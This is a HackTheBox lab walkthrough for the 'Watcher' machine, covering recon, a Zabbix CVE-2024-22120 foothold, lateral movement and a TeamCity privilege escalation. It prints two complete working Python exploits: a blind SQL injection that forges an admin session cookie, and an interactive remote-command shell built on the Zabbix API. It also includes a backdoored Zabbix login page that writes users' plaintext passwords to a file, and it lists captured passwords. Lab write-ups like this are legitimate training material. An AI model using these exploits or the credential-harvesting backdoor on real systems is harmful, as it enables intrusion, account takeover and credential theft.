Watcher
Initial machine information
The User flag for this Box is located in a non-standard directory, /.Watcher - HackTheBox Machine Writeup
Overview
Watcher is a HackTheBox machine running Ubuntu x64. Initial reconnaissance reveals an Apache web server on port 80 and SSH on port 22. Subdomain enumeration uncovers a Zabbix monitoring instance at zabbix.watcher.vl running an outdated alpha version (7.0.0alpha1) with guest access enabled. The foothold is obtained by exploiting CVE-2024-22120, a time-based blind SQL injection vulnerability in Zabbix that allows a low-privileged (guest) user to extract the admin session ID and configuration session key from the database. With admin access to Zabbix, remote code execution is achieved through the Zabbix API's script execution functionality. Lateral movement is accomplished by backdooring the Zabbix login page to capture credentials for the user Frank, who logs in periodically. Finally, privilege escalation leverages a TeamCity instance running as root on an internal port, accessed via chisel port forwarding using Frank's credentials.
Recon
Nmap Scanning
The engagement begins with a comprehensive nmap scan to identify open ports and running services on the target. Two scans are run in sequence: a default port scan with service version detection and scripts, followed by a full port scan covering all 65535 ports to ensure nothing is missed.
sudo nmap -sC -sV -vv -oA tcp 10.129.234.163 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.234.163
The scan results reveal two open ports: port 22 (SSH) and port 80 (HTTP). The web server on port 80 responds with the hostname watcher.vl, which is added to /etc/hosts for proper resolution.
Web Application Enumeration
Browsing the main website at http://watcher.vl does not reveal any immediately exploitable functionality or interesting content.
Directory and Subdomain Bruteforcing
A directory bruteforce is launched using ffuf with the DirBuster wordlist, targeting both directories and .php files to discover hidden content on the web server.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -u http://watcher.vl/FUZZ -ic -e .php
Simultaneously, a virtual host (subdomain) scan is performed. The default response length of 158 lines is filtered out to isolate legitimate subdomains that return different content.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.watcher.vl" -u http://watcher.vl -fl 158
The subdomain scan discovers zabbix.watcher.vl, a Zabbix monitoring platform instance running on the target.
Foothold
Zabbix Discovery and Enumeration
Navigating to zabbix.watcher.vl presents a default Zabbix login page, confirming the presence of a Zabbix monitoring server.
Critically, guest access is enabled on this Zabbix instance, allowing unauthenticated users to log in with limited privileges and browse parts of the interface.
Through the Zabbix interface, the target's operating system is confirmed as Ubuntu x64.
The footer of the Zabbix interface reveals a very old and vulnerable version:
Zabbix 7.0.0alpha1. © 2001–2023, Zabbix SIAExploiting CVE-2024-22120 - Zabbix SQL Injection to RCE
Research into vulnerabilities affecting this version leads to CVE-2024-22120, a time-based blind SQL injection vulnerability that can be exploited by a low-privileged user (such as the guest account) to escalate to admin privileges and ultimately achieve remote code execution. A public proof-of-concept exploit is available at:
https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-RCE.py
The exploit requires two pieces of information: a valid session ID (SID) and a host ID.
The SID is extracted from the base64-encoded session cookie in the browser, which contains the guest user's session identifier.
The host ID is obtained from the Inventory section of the Zabbix interface, where monitored hosts and their IDs are listed.
Initial Exploit Attempt
After setting up a Python virtual environment and installing the required modules, the public exploit script is run with the extracted SID and host ID.
python3 exploit.py --ip 10.129.234.163 --sid 9386b30e96bceedba23ab96725234736 --hostid 10084
However, the default exploit fails. Debugging the error response reveals that the guest user is not permitted to execute the default script ID used by the exploit.
The error message indicates that the user lacks permission to execute the script. To work around this, the scriptid parameter in the exploit is changed from the default value to 1, which corresponds to a built-in script that the guest user is allowed to trigger.
Modified Exploit - Extracting Admin Session
A modified version of the exploit is created that focuses on extracting the admin session ID and the configuration session key from the Zabbix database via time-based blind SQL injection. The injection payload is embedded in the clientip field of a Zabbix trapper request. For each character of the target value, the script issues a SQL CASE WHEN statement: if the guessed character is correct, the database sleeps for a longer duration (10 seconds); if incorrect, it sleeps for a shorter time (1 second). By measuring the response time, each character is determined one by one.
The script extracts two values:
- The admin session ID (
sessionidfrom thesessionstable whereuserid=1) - The configuration session key (
session_keyfrom theconfigtable)
These two values are combined using HMAC-SHA256 signing to forge a valid admin session cookie (zbx_session) that grants full administrative access to the Zabbix interface.
import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime
def SendMessage(ip, port, sid, hostid, injection):
context.log_level = "CRITICAL"
zbx_header = "ZBXD\x01".encode()
message = {
"request": "command",
"sid": sid,
"scriptid": "1",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
print(message_json)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level="CRITICAL")
r.send(message)
r.recv(1024)
r.close()
def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print("(+) session_key=%s" % token, flush=True)
break
return token
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, flush=True)
break
return session_id
def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
def prepare_data(data: dict) -> str:
sorted_data = OrderedDict(data.items())
sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
session = {
"sessionid": sessionid,
"serverCheckResult": True,
"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res
def CheckAdminSession(ip, admin_session):
proxy = {
"https": "http://127.0.0.1:8080",
"http": "http://127.0.0.1:8080"
}
url = f"http://{ip}/zabbix.php?action=dashboard.view"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Cookie": f"zbx_session={admin_session}"
}
resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
if "Administration" in resp.text and resp.status_code == 200:
return admin_session
else:
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
default="1")
parser.add_argument("--true_time",
help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
default="10")
parser.add_argument("--ip", help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
admin_session = GenerateAdminSession(admin_sessionid, session_key)
res = CheckAdminSession(args.ip, admin_session)
if res is not None:
print(f"try replace cookie with:\nzbx_session={res}")
else:
print("failed")After resetting the box on HackTheBox (to clear any stale sessions), the exploit is run with a fresh guest SID. The time-based extraction process takes several minutes as it brute-forces each character of the 32-character session ID and session key.
python3 loginasadmin.py --ip zabbix.watcher.vl --sid a9c4828b30febf02669f4af096b416bb --hostid 10084Achieving Remote Code Execution
Once the admin session ID has been fully extracted, a second script is used to achieve RCE. This script authenticates to the Zabbix JSON-RPC API using the extracted admin session ID and creates a custom script object via script.create. It then provides an interactive shell by updating the script's command via script.update and executing it against the target host via script.execute. Each command entered by the attacker is sent to the Zabbix server, which executes it on the monitored host and returns the output.
import json
import argparse
import requests
from pwn import *
from datetime import datetime
RED = '\033[0;31m'
NC = '\033[0;0m'
GREEN = '\033[0;32m'
def SendMessage(ip, port, sid, hostid, injection):
context.log_level = "critical"
zbx_header = "ZBXD\x01".encode()
message = {
"request": "command",
"sid": sid,
"scriptid": "1",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
print(message_json)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level="critical")
r.send(message)
ret = r.recv(2048)
r.close()
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = "e29cc8d946f1a3135fe7ceec60d0ff0d"
# token_length = 32
# for i in range(1, token_length+1):
# for c in string.digits + "abcdef":
# before_query = datetime.now().timestamp()
# query = "(select CASE WHEN (substr((select sessionid from sessions where userid=1 limit 1),%d,1)=\"%c\") THEN sleep(%d) ELSE sleep(%d) END)" % (i, c, time_true, time_false)
# #query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
# SendMessage(ip, port, sid, hostid, query)
# after_query = datetime.now().timestamp()
# diff = after_query-before_query
# print(f"(+) Finding session_id\t sessionid={GREEN}{session_id}{RED}{c}{NC}", end='\r')
# if time_true > (after_query-before_query) > time_false:
# continue
# else:
# session_id += c
# print("(+) session_id=%s" % session_id, flush=True)
# break
print(f"(!) sessionid={session_id}")
return session_id
def GenerateRandomString(length):
characters = string.ascii_letters + string.digits
return "".join(random.choices(characters, k=length))
def CreateScript(url, headers, admin_sessionid, cmd):
name = GenerateRandomString(8)
payload = {
"jsonrpc": "2.0",
"method": "script.create",
"params": {
"name": name,
"command": "" + cmd + "",
"type": 0,
"execute_on": 2,
"scope": 2
},
"auth": admin_sessionid,
"id": 0,
}
resp = requests.post(url, data=json.dumps(payload), headers=headers)
return json.loads(resp.text)["result"]["scriptids"][0]
def UpdateScript(url, headers, admin_sessionid, cmd, scriptid):
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": scriptid,
"command": "" + cmd + ""
},
"auth": admin_sessionid,
"id": 0,
}
requests.post(url, data=json.dumps(payload), headers=headers)
def DeleteScript(url, headers, admin_sessionid, scriptid):
payload = {
"jsonrpc": "2.0",
"method": "script.delete",
"params": [scriptid],
"auth": admin_sessionid,
"id": 0,
}
resp = requests.post(url, data=json.dumps(payload), headers=headers)
if resp.status_code == 200 and json.loads(resp.text)["result"]["scriptids"] == scriptid:
return True
else:
return False
def RceExploit(ip, hostid, admin_sessionid,prefix):
if prefix:
url = f"http://{ip}/{prefix}/api_jsonrpc.php"
else:
url = f"http://{ip}/api_jsonrpc.php"
headers = {
"content-type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
scriptid = CreateScript(url, headers, admin_sessionid, "whoami")
while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "":
print("Result of last command:")
elif cmd == "quit":
DeleteScript(url, headers, admin_sessionid, scriptid)
break
UpdateScript(url, headers, admin_sessionid, cmd, scriptid)
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": scriptid,
"hostid": hostid
},
"auth": admin_sessionid,
"id": 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if "error" not in cmd_exe.text:
print(cmd_exe_json["result"]["value"])
else:
print(cmd_exe_json["error"]["data"])
if __name__ == "__main__":
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-22120-RCE")
parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
default="1")
parser.add_argument("--true_time",
help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
default="10")
parser.add_argument("--ip", help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
parser.add_argument("--prefix", help="Prefix for zabbix site. eg: https://ip/PREFIX/index.php")
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)The RCE script provides an interactive command shell running as the Zabbix service user on the target system.
Lateral Movement
Initial Enumeration as Zabbix User
With command execution on the target, process enumeration reveals that TeamCity is running as root on the system, presenting a potential privilege escalation vector.
To gain a more stable and functional shell (as the Zabbix RCE shell is limited), a Meterpreter payload is generated and deployed on the target.
Credential Discovery
While enumerating the file system with the Meterpreter shell, a MySQL password for the Zabbix database is discovered in the Zabbix configuration files: uIy@YyshSuyW%0_puSqA
The Meterpreter shell proves unstable, dying after a few minutes. A more reliable netcat reverse shell is established instead to continue enumeration.
LinPEAS Enumeration
LinPEAS (Linux Privilege Escalation Awesome Script) is uploaded and executed with targeted modules to avoid unnecessary noise, skipping cloud-related checks.
/tmp/lp.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regexLinPEAS reveals several additional internal ports listening on the system, including the TeamCity port identified earlier.
Database Enumeration
Connecting to the MySQL database using the discovered Zabbix credentials reveals another user account: Frank.
An attempt is made to crack Frank's password hash from the database using Hashcat with the RockYou wordlist against the bcrypt hash format (-m 3200).
hashcat -m 3200 -a 0 hash /mnt/hgfs/I/data/rockyou.txtMonitoring for Cron Jobs
While waiting for Hashcat, pspy64 (a process monitoring tool) is deployed to observe processes spawned on the system in real time, looking for scheduled tasks or cron jobs that might reveal additional attack vectors.
Backdooring the Zabbix Login Page
Since the hash cracking does not yield results quickly, a more creative approach is taken: the Zabbix index.php login page is modified to capture credentials in plaintext. A few lines of PHP are injected into the login handler that write the submitted username and password to a file (/usr/share/zabbix/test.txt) whenever a user authenticates. This acts as a credential harvester, silently logging all login attempts while allowing normal authentication to proceed.
<?php
/*
** Zabbix
** Copyright (C) 2001-2023 Zabbix SIA
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
require_once dirname(__FILE__).'/include/classes/user/CWebUser.php';
require_once dirname(__FILE__).'/include/config.inc.php';
require_once dirname(__FILE__).'/include/forms.inc.php';
$page['title'] = _('ZABBIX');
$page['file'] = 'index.php';
// VAR TYPE OPTIONAL FLAGS VALIDATION EXCEPTION
$fields = [
'name' => [T_ZBX_STR, O_NO, null, null, 'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"', _('Username')],
'password' => [T_ZBX_STR, O_OPT, P_NO_TRIM, null, 'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"'],
'sessionid' => [T_ZBX_STR, O_OPT, null, null, null],
'reconnect' => [T_ZBX_INT, O_OPT, P_SYS, null, null],
'enter' => [T_ZBX_STR, O_OPT, P_SYS, null, null],
'autologin' => [T_ZBX_INT, O_OPT, null, null, null],
'request' => [T_ZBX_STR, O_OPT, null, null, null],
'form' => [T_ZBX_STR, O_OPT, null, null, null]
];
check_fields($fields);
if (hasRequest('reconnect') && CWebUser::isLoggedIn()) {
if (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED) {
$provisioning = CProvisioning::forUserDirectoryId(CAuthenticationHelper::getSamlUserdirectoryid());
$saml_config = $provisioning->getIdpConfig();
if ($saml_config['slo_url'] !== '' && CSessionHelper::has('saml_data')) {
redirect('index_sso.php?slo');
}
}
CWebUser::logout();
redirect('index.php');
}
$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
$request = getRequest('request', '');
if ($request !== '' && !CHtmlUrlValidator::validateSameSite($request)) {
$request = '';
}
if (!hasRequest('form') && CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED
&& CAuthenticationHelper::get(CAuthenticationHelper::HTTP_LOGIN_FORM) == ZBX_AUTH_FORM_HTTP
&& !hasRequest('enter')) {
redirect('index_http.php');
}
// login via form
if (hasRequest('enter')) {
$fp = fopen('/usr/share/zabbix/test.txt', 'a+');
fwrite($fp, getRequest('name', ZBX_GUEST_USER).":".getRequest('password', '')."\n");
fclose($fp);
if(CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))){
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
if (CWebUser::$data['autologin'] != $autologin) {
API::User()->update([
'userid' => CWebUser::$data['userid'],
'autologin' => $autologin
]);
}
$redirect = array_filter([CWebUser::isGuest() ? '' : $request, CWebUser::$data['url'], CMenuHelper::getFirstUrl()]);
redirect(reset($redirect));
} else {
redirect("index.php");
}
}
if (CWebUser::isLoggedIn() && !CWebUser::isGuest()) {
redirect(CWebUser::$data['url'] ? : CMenuHelper::getFirstUrl());
}
$messages = get_and_clear_messages();
echo (new CView('general.login', [
'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
? (new CUrl('index_http.php'))->setArgument('request', getRequest('request'))
: '',
'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
? (new CUrl('index_sso.php'))->setArgument('request', getRequest('request'))
: '',
'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
'autologin' => $autologin == 1,
'error' => (hasRequest('enter') && $messages) ? array_pop($messages) : null
]))->getOutput();
session_write_close();After waiting for a period, the test.txt file is populated with captured credentials. Frank's automated login is caught by the backdoor.
The captured credentials reveal Frank's plaintext password: R%)3S7^Hf4TBobb(gVVs
Privilege Escalation
Port Forwarding with Chisel
With Frank's credentials in hand, the next target is the TeamCity instance discovered earlier running as root on internal port 8111. Since this port is only accessible locally on the target, chisel is used to create a port forward, tunneling the internal TeamCity port to the attacker's machine.
The chisel server is started on the attacker's machine, listening for incoming connections from the target.
The chisel client is then executed on the target, connecting back to the attacker's server and forwarding port 8111.
Accessing TeamCity
With the tunnel established, Burp Suite is configured to proxy requests to the forwarded TeamCity port for easier interaction and inspection of the traffic.
The TeamCity interface is now accessible through the forwarded port. Notably, TeamCity has a build agent running on the target, and since the TeamCity process itself runs as root, any build steps or commands executed through TeamCity's build agent will also run with root privileges, providing a direct path to full system compromise.

